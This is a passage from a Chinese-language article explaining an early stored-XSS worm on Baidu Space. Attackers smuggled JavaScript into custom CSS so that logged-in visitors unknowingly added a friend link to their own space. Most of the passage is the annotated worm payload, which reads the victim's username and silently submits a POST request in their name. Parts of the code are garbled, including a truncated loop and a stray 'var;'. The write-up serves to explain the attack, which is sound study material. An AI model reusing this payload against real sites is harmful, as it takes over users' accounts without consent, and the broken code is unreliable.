由此Ajax攻擊可見一斑,然而這還僅僅是個開始。7月份百度開通了百度空間,雖然沒有指明是應用web2.0技術,但從web2.0象征的測試版(beta)和頁面模版架構等等,你可以看出它事實上已經應用了Ajax技術。而在空間開通不到半個月,相應的攻擊方式又產生了,這個攻擊應該又算是一個蠕蟲吧。它利用百度提交的自定義css(Cascading Stylesheet,層疊樣式表單)中對插入的javascript過濾不嚴格,而使攻擊者可以寫入惡意代碼進行了xss(Cross Site Scripting)跨站。從而使瀏覽該空間的百度通行證用戶在不知覺的情況下將該站點加入自己的友情連接中。最原始代碼標本如下:
復制代碼 代碼如下:
#header{height:89px;background:url("javascript:document.body.onload = function(){ //- - 在css的樣式標簽中插入javascript代碼
var req = null;
if(window.XMLHttpRequest) req = new XMLHttpRequest(); //- - 這句懂ajax的都知道,是它的核心XMLHttpRequest,而下面當然是必不可少的判斷是否IE的語句了。
else if(window.ActiveXObject){
var msxml = new Array('MSXML2.XMLHTTP.5.0', 'MSXML2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP', 'Microsoft.XMLHTTP');
for(var i=0;i try{req.overrideMimeType('text/xml')}catch(e){}
}
req.open('get','.',false);
req.send();
var s=req.responseText;
p=s.indexOf('passport.baidu.com/?logout');
if(p>0)
{
p=s.indexOf('');
if(p>0)
{
p=s.indexOf('/',p);
p2=s.indexOf(String.fromCharCode(34),p);
var user=s.substring(p+1,p2);
var;
var link='目標網址';
var desc='This link was added by an XSS script';
var url='/'+user+'/commit';
var data='ct=6&cm=1&spRef='+escape('http://hi.baidu.com/'+user)+'%2Fmodify%2Fbuddylink%2F0&spBuddyName='+escape(name)+'&spBuddyURL='+escape(link)+'&spBuddyIntro='+escape(desc); //- - 這句是整個蠕蟲的執行語句,也是Ajax的數據異步調用語句。
req.open('post',url,false);
req.send(data);
alert('A friend link has been added to your space at ' +user);
}
}
else{alert('You are not a logged Baidu user.');} //- - 由于是標本語句,所以這里有對是否登陸的判斷,但實際攻擊中當然不會有。
}");
}
新聞熱點
疑難解答
圖片精選